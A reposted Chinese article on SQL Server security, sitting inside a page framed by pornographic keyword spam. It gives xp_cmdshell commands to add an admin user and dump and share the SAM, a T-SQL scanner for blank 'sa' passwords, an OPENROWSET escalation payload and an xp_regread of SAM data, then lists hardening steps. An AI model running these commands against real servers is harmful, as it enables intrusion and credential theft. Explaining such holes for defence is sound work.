国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

關于SQL SERVER的一些安全問題
2008-04-24   

目前關于NT服務器的入侵,有很多種方法,如對IIS的漏洞進行利用,但大家不知道注意到沒有,其實通過與NT服務器相關聯的SQL數據庫服務器的例子也是很有比例的一種手段。Herbless入侵破壞的一些站點,如legoland.co.uk站點就是通過SQL服務器的入侵而獲得對系統的控制權而破壞的。所以對SQL服務器的保護是必不可少的,這里我整理了一些漏洞供大家來參考。



我們先來看看SQL服務程序支持的網絡協議庫:


| SQL Server Network Protocol Libraries |



|Protocol library| 可能存在的漏洞 | 是否加密 |



|Named pipes | --使用NT SMB端口(TCP139,UDP137, | 否 |

|(有名管道) | 138)來進行通信,這些可以被通 | |

| | 的防火墻控制,但如果內部網絡可| |

| | 隨意訪問的話也是一個不小的缺陷| |

| | --用戶名字,密碼和數據沒有進行加| |

| | 傳輸,任何人可以通過SNIFFER來 | |

| | 進行數據捕獲。 | |



|IP Sockets | --默認狀態下開1433口,你可以使用| 否 |

| | 掃描器來查看這個端口。 | |

| | 可以被SNIFFER截獲數據。 | |



|Multi-Protocol | --客戶端需要支持NT RPCs;在不同 | 是 |

| | 種類的環境中可能引起問題。 | |

| | --默認情況下使用TCP隨機端口,但| |

| | 防火墻進行端口圖固定實現(參 | |

| | 看KB Q164667)。 | |

| | --需要注意加密選項是否選擇,默 | |

| | 是不選擇此選項的。 | |



|NWLink | --存在被SNIFFER截獲數據的危險 | 否 |



|AppleTalk (ADSP)| --存在被SNIFFER截獲數據的危險 | 否 |



|Banyan Vines | --存在被SNIFFER截獲數據的危險 | 否 |

一般的推薦使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者Multi-protocol,那你就使用這些協議庫,如果可能,盡量使用Multi-protocol和使能加密選項。如果你上面幾個不能使用,那就使用IP Sockets協議,并改變其默認的端口并隨時檢查系統保證無任何SNIFFER存在。并且,考慮使用一WEB服務或者COM組件作為應用程序的business object layer,并在中間層和SQL服務程序中使用安全通道(secure channel)。有不少第三方的產品可以加密這方面的通信。



下面再講一下SQL SERVER的各種安全模式和它們怎樣進行工作?

安全模式定義了一些SQL SERVER是怎樣認證要使用它們服務的用戶,請看下面SQL Server 6.5的安全模式和在SQL Server 7.0做了改變的一些描述和區別:



|安全模式 | SQL Server 6.5 | SQL Server 7.0改變地方 |


|Standard | --登陸定義在SQL SERVER里| --單獨的標準模式在SQL SERVER|

|標準模式 | 而且給定密碼。 | 沒有使用了。 |

| | --SQL SERVER的登錄帳戶與| |

| | WINDOW NT分開 | |



|Integrated |-使用安全管理器SQL的帳 | --在這里成為"Windows NT only"|

|綜合模式 | 戶。 | 模式。 |

| |-用戶在連接到SQL SERVER| --只工作在NT系統下,在WIN9X不|

| | 不需要特定分開LOGIN和 | 支持。 |

| | 密碼。 | |

| |-密碼從不存儲在應用程序| --可以直接結合到NT的組中便于 |

| | 中,并不以明文在網絡中| 管理,(注意有一BUILTIN組在|

| | 傳輸。 | 本地系統上產生). |

| |-SQL SERVER可以使用NT的| |

| | 的認證方式來認證用戶并| |

| | 可以使用如帳戶過期等。| |

| |-需要Named Pipe或Multi-| |

| | Protocol庫。 | |



|Mixed |-提供上面的方式的一些特| --成為SQL SERVER和WINDOWS NT |

|混合性方式 | 征但有后退的東西是客戶| 模式。 |

| | 端不能建立可信任連接。| --盡量使用WINDOW NT ONLY模式 | |

登錄只不過是第一步,一旦用戶登錄,用戶必須訪問獨立的數據庫,要使上面的成立,就必須在sysusers表里存在一表目給用戶用的每個數據庫。所以安全請你注意在你的數據庫中是否存在"guest"帳戶和保證不會在你不注意的時候給某些人訪問你的數據庫。

詳細的大家可以參看微軟的站點:

http://www.microsoft.com/technet/SQL/Technote/secure.asp



關于SQL SERVER存在的一些安全問題:

存在"sa"帳戶,密碼就為空,而且這個密碼是SQL SERVER安全模塊成員,我們就可以通過xp_cmdshell stored procedure(擴展存儲過程)來進行命令操作,如:

Xp_cmdshell "net user testuser UgotHacked /ADD"

然后在:

Xp_cmdshell "net localgroup Administrators testuser /ADD"

這樣攻擊者就成功的在SQL SERVER上增加了一個用戶。

當然遠程的話,一般需要有1433口開著,通過MYSQL 客戶端進行連接。

當然你也可以使用:

Xp_cmdshell "rdisk /s-"

的方法,這樣就在winntrepair目錄里重建了信息而不提示用戶。然后在SAM備份以后,攻擊者可以建立一個SMB連接到共享或者建立一個連接:

Xp_cmdshell "net share getsam=c:winntrepair"

利用共享獲得這個文件,然后在使用l0phtcrack來跑吧。如果SMB端口被防火墻控制了,或者關閉了,攻擊者也可以拷貝sam._文件到WEB目錄進行匿名瀏覽器下載。如果人家沒有開IIS,你何不用tftp呢:).

OK,通過這臺被控制的SQL SERVER服務器,攻擊者可以通過它來查找網絡內部其他機器來擴大戰果,下面是一個SQL腳本來列舉網絡中其他SQL SERVER存在空帳戶'sa'的示例:

Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

Loop through potential targets and check for null sa accounts

If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server <> 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

 SELECT @conn_string = 'exec xp_cmdshell 'osql -S' + @current_server + ' -Usa -P -Q "select @@version"''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

當然有些人也可能關閉xp_cmdshell extended stored procedure(擴展存儲過程),我們也可以使用下面的方法:

xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'

如果MSSqlserver 服務在本地系統帳戶下運行,并且如果系統上沒有安裝syskey,上面的調用就可以返回注冊表中加密的密碼或者SID。

另一個漏洞,是關于adhoc heterogenous queries 來進行權利的提升,請看下面微軟的描述:http://www.microsoft.com/technet/security/bulletin/fq00-014.asp

關于上面的漏洞,可以使用下面的xploit來獲得權利的提升:

SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',

'SET FMTONLY OFF execute master..xp_cmdshell "dir c:"')

這是大家比較喜歡的一種可以執行其他命令,自己想吧。

還有就是最近的一個漏洞:Extended Stored Procedure Parameter Parsing (擴展存儲過程參數解析)的漏洞,詳細信息在這個URL有介紹:

http://www.microsoft.com/technet/security/bulletin/ms00-092.asp。

起主要問題是在MSD中提供一個API函數srv_paraminfo(),它是用來擴展存儲過程調用時解釋深入參數的,如:

exec <存儲過程名> <參數1>, <參數2>, ...

如要查詢“c:winnt”的目錄樹,可以如下表達:

exec xp_dirtree 'c:winnt'

但沒有檢查各個參數的長度,傳遞相當長的字符串,就存在了覆蓋其他堆棧參數的可能導致緩沖溢出。

目前已經知道的過程如下:

目前已知受影響的擴展存儲過程如下:

1、xp_peekqueue (xpqueue.dll)

xp_printstatements (xprepl.dll)

給第一個參數傳遞超長的字符串會覆蓋異常處理程序所保存的返回地址。

2、xp_proxiedmetadata (xprepl.dll)

該存儲過程使用4個參數。給第二個參數傳遞超長的字符串會覆蓋異常處理程序所保存的返回地址。

3、xp_SetSQLSecurity (xpstar.dll)

該存儲過程使用4個參數。給第三個參數傳遞超長的字符串會使整個SQL Server進程立即終止。

4、xp_displayparamstmt(xprepl.dll)

xp_enumresultset(xprepl.dll)

xp_showcolv (xprepl.dll)

xp_updatecolvbm (xprepl.dll)

給第一個參數傳遞超長的串將導致非法操作并覆蓋異常處理程序所保存的返回地址。

這里告訴大家一個技巧性的東西,如果想要知道這些擴展存儲過程調用了那寫dll文件,你可以如下操作,如:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name

= 'xp_peekqueue'

這樣你就可以獲得調用這個擴展存儲過程的DLL了,如果微軟沒有出補丁的話,你就暫時把這個DLL文件改名吧,當然有些DLL文件調用幾個擴展存儲過程,不能盲目更改,否則導致其他的也不能使用,你需要使用下面的操作來知道DLL調用那些擴展存儲過程:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

幸好微軟出了補丁,你可以到下面的地方找到,不用一個一個找DLL程序了,呵呵:

http://support.microsoft.com/support/sql/xp_security.asp

這個漏洞@stake發現并提供演示的測試代碼,大家可在這里找到:

http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

OK,當然SQL SERVER也有一些其他漏洞,相對輕微些,如ISS發現的管理員LOGIN ID存儲在注冊表中,其加密的方法比較簡單,很容易獲得,詳細情況請看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他地方找找。

一些對SQL SERVER系統的安全建議:

保證打上最新的安全補丁,如下:

Windows NT 4.0 - Service Pack 6a

SQL Server 6.5 - Service Pack 5a

SQL Server 7.0 - Service Pack 2. (Various hotfixes - check

http://www.microsoft.com/download)

SQL Server 2000 - Hotfix S80233i.exe (Intel)

當然大家要密切注意微軟的安全公告。

不要在IP sockets使用端口1433,如果你使用Multi-protocol也請修改端口。

不要把'sa'密碼嵌入到任意應用程序如VB/DELPHI apps里,或者一global.asa文件里,因為"sa"是SQL Server 的一個默認密碼,其權限類似與WINDOWS NT系統里的管理員帳戶,而且密碼為空。

改變'sa'和'probe'帳戶的密碼。

保證SQL SERVER的錯誤記錄在NTFS系統上。

如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )就不要把xp_cmdshell extended stored proc(擴展存儲過程) 留在服務器上。在任何isql窗口中輸入:

use master

sp_dropextendedproc 'xp_cmdshell'

丟棄不需要OLE自動存儲過程,當然Enterprise Manager中的某些特征也會不能使用,這些過程包括如下:

Sp_OACreate Sp_OADestroy

Sp_OAGetErrorInfo Sp_OAGetProperty

Sp_OAMethod Sp_OASetProperty

Sp_OAStop

去掉不需要的注冊表訪問過程,如下:

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

去掉其他系統存儲過程,如果你認為你覺得你還有威脅,當然要小心Drop這些過程,你可以在測試機器上測試,保證你正常的

系統能完成工作,這些過程包括:

sp_bindsession sp_cursor sp_cursorclose

sp_cursorfetch sp_cursoropen sp_cursoroption

sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte

sp_OACreate sp_OADestroy sp_OAGetErrorInfo

sp_OAGetProperty sp_OAMethod sp_OASetProperty

sp_OAStop sp_replcmds sp_replcounters

sp_repldone sp_replflush sp_replstatus

sp_repltrans sp_sdidebug xp_availablemedia

xp_cmdshell xp_deletemail xp_dirtree

xp_dropwebtask xp_dsninfo xp_enumdsn

xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks

xp_eventlog xp_findnextmsg xp_fixeddrives

xp_getfiledetails xp_getnetname xp_grantlogin

xp_logevent xp_loginconfig xp_logininfo

xp_makewebtask xp_msver xp_perfend

xp_perfmonitor xp_perfsample xp_perfstart

xp_readerrorlog xp_readmail xp_revokelogin

xp_runwebtask xp_schedulersignal xp_sendmail

xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap

xp_sprintf xp_sqlinventory xp_sqlregister

xp_sqltrace xp_sscanf xp_startmail

xp_stopmail xp_subdirs xp_unc_to_drive

去掉數據庫中guest用戶。

關閉SQL MAIL兼容能力,防止傳遞一些木馬病毒等。

設置一個任務處理來定時運行下面的程序:

findstr /C:"Login Failed" mssql7log*.*'

再重定向到其他文件或者MAIL到管理員信箱。

經常檢查帶有空密碼的帳戶:

Use master

Select name,

Password

from syslogins

where password is null

order by name

檢查所有不需要'sa'權限的存儲過程和擴展存儲過程訪問權限:

Use master

Select sysobjects.name

From sysobjects, sysprotects

Where sysprotects.uid = 0

AND xtype IN ('X','P')

AND sysobjects.id = sysprotects.id

Order by name



保證SQL SERVER的傳輸信息在隔離的網絡段中。

熱詞搜索:

上一篇:不當編寫SQL語句導致漏洞
下一篇:從IIS轉到SQL數據庫安全

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产女主播一区| 香蕉av福利精品导航| 亚洲免费视频在线观看| 99亚洲一区二区| 老鸭窝毛片一区二区三区| 国产精品久久久久久久久久久久久久 | 欧美xx视频| 一区二区久久| 怡红院精品视频| 国产女人18毛片水18精品| 免费观看国产成人| 久久久亚洲影院你懂的| 亚洲欧美日韩人成在线播放| 亚洲国产毛片完整版| 国产偷自视频区视频一区二区| 欧美日韩裸体免费视频| 欧美福利视频| 欧美黄色一级视频| 欧美精品在线免费| 米奇777在线欧美播放| 久久av一区| 亚洲欧美中文字幕| 玉米视频成人免费看| 亚洲最新中文字幕| 欧美日韩国产天堂| 国产精品v欧美精品∨日韩| 国产精品第一页第二页第三页| 午夜精品一区二区三区电影天堂| 99爱精品视频| 在线视频一区二区| 亚洲手机在线| 亚洲午夜成aⅴ人片| 久久精品国产96久久久香蕉| 久久久99久久精品女同性| 欧美 日韩 国产 一区| 美女脱光内衣内裤视频久久网站| 欧美激情亚洲另类| 欧美日韩国产色视频| 国产午夜精品久久| 亚洲视频一二三| 欧美一区二区三区的| 美女性感视频久久久| 欧美日韩一区二区三区在线视频 | 国产日韩欧美精品在线| 国产精品视频在线观看| 欧美精品福利| 国产麻豆日韩| 99精品欧美一区| 麻豆成人91精品二区三区| 久久久久久久一区| 国产精品日韩一区二区| 亚洲国产精品传媒在线观看| 亚洲网站视频福利| 亚洲一区二区在线免费观看视频 | 国产精品国产三级国产aⅴ9色| 99精品福利视频| 国产精品无码永久免费888| 欧美一级大片在线观看| 影音先锋久久| 国产精品日韩精品| 欧美激情性爽国产精品17p| 亚洲在线视频免费观看| 亚洲国产精品久久久久婷婷884| 国产乱码精品一区二区三区五月婷 | 午夜精品一区二区三区电影天堂 | 麻豆精品视频| 麻豆av福利av久久av| 一二三区精品| 一区二区三区国产| av不卡在线看| 一区二区激情| 亚洲视频在线二区| 亚洲无人区一区| 亚洲性感激情| 午夜国产一区| 久久精品在线免费观看| 久久av一区二区三区漫画| 亚洲欧美国产日韩天堂区| 亚洲婷婷综合色高清在线| 99精品视频免费全部在线| 亚洲免费精品| 亚洲淫性视频| 久久久一区二区三区| 久久噜噜亚洲综合| 欧美不卡激情三级在线观看| 欧美成人免费在线观看| 欧美日韩免费一区| 国产一区二区精品| 亚洲精品一二区| 久久99在线观看| 欧美日韩亚洲视频| 精品999成人| 91久久精品国产91性色tv| 在线一区二区三区做爰视频网站| 亚洲免费一在线| 久久久精彩视频| 国产精品二区在线| 最新国产の精品合集bt伙计| 性欧美激情精品| 欧美日本在线| 亚洲国产欧美一区二区三区同亚洲 | 伊人精品久久久久7777| 亚洲东热激情| 欧美色网一区二区| 麻豆精品视频| 国产日韩精品一区二区| 亚洲最新视频在线| 国产精品免费网站在线观看| 亚洲免费电影在线观看| 久久综合婷婷| 欧美精品三区| 亚洲电影免费在线观看| 久久99伊人| 国产一区二区黄| 欧美在线关看| 一区二区三区在线视频播放| 日韩网站在线观看| 欧美国产一区二区| 亚洲激情一区二区| 欧美91大片| 亚洲人成亚洲人成在线观看| 欧美v国产在线一区二区三区| 伊人狠狠色j香婷婷综合| 欧美一区二区三区在线观看视频 | 欧美一区二区三区四区视频| 欧美另类在线播放| 99国产精品视频免费观看| 欧美成人精品不卡视频在线观看| 国产一区香蕉久久| 久久夜精品va视频免费观看| 尤物yw午夜国产精品视频| 久久久蜜桃精品| 99精品欧美| 国产欧美激情| 麻豆精品在线播放| 一区二区日韩伦理片| 国产精品永久免费| 蜜桃久久av一区| aa级大片欧美| 尤物yw午夜国产精品视频明星| 欧美日韩日日夜夜| 欧美一区二区三区成人| 在线免费观看视频一区| 国产精品jizz在线观看美国| 久久蜜桃精品| 久久成人资源| 午夜精品久久久久久99热| 亚洲精品一区二区三区蜜桃久| 国内精品一区二区| 国产日韩欧美麻豆| 国产精品多人| 欧美日韩ab| 欧美色一级片| 欧美午夜视频网站| 欧美四级在线观看| 欧美日韩综合精品| 欧美三日本三级三级在线播放| 欧美激情精品久久久久久蜜臀| 久久夜色精品国产亚洲aⅴ| 久久不射中文字幕| 久久国产视频网站| 久久亚裔精品欧美| 欧美激情国产高清| 欧美午夜性色大片在线观看| 欧美日韩中文字幕在线视频| 国产精品国产自产拍高清av王其| 国产精品伦子伦免费视频| 国产精品久久久免费| 国产午夜亚洲精品不卡| 国产综合色产在线精品| 精品91在线| 一区二区三区高清视频在线观看| av成人动漫| 夜夜夜久久久| 久久不射中文字幕| 免费在线观看精品| 欧美视频第二页| 欧美日韩一区二区在线播放| 国产乱码精品| 精品动漫3d一区二区三区免费版| 亚洲国产精品电影| 9久re热视频在线精品| 欧美在线在线| 欧美第十八页| 国产精品青草综合久久久久99| 国内精品视频在线观看| 亚洲韩日在线| 欧美一级精品大片| 欧美日韩xxxxx| 国产一区99| 99ri日韩精品视频| 免费久久久一本精品久久区| 欧美日本一道本| 狠狠色综合播放一区二区| 日韩视频专区| 久久亚洲二区| 国产午夜精品全部视频播放 | 在线观看一区视频| 欧美一区久久| 国产精品白丝av嫩草影院|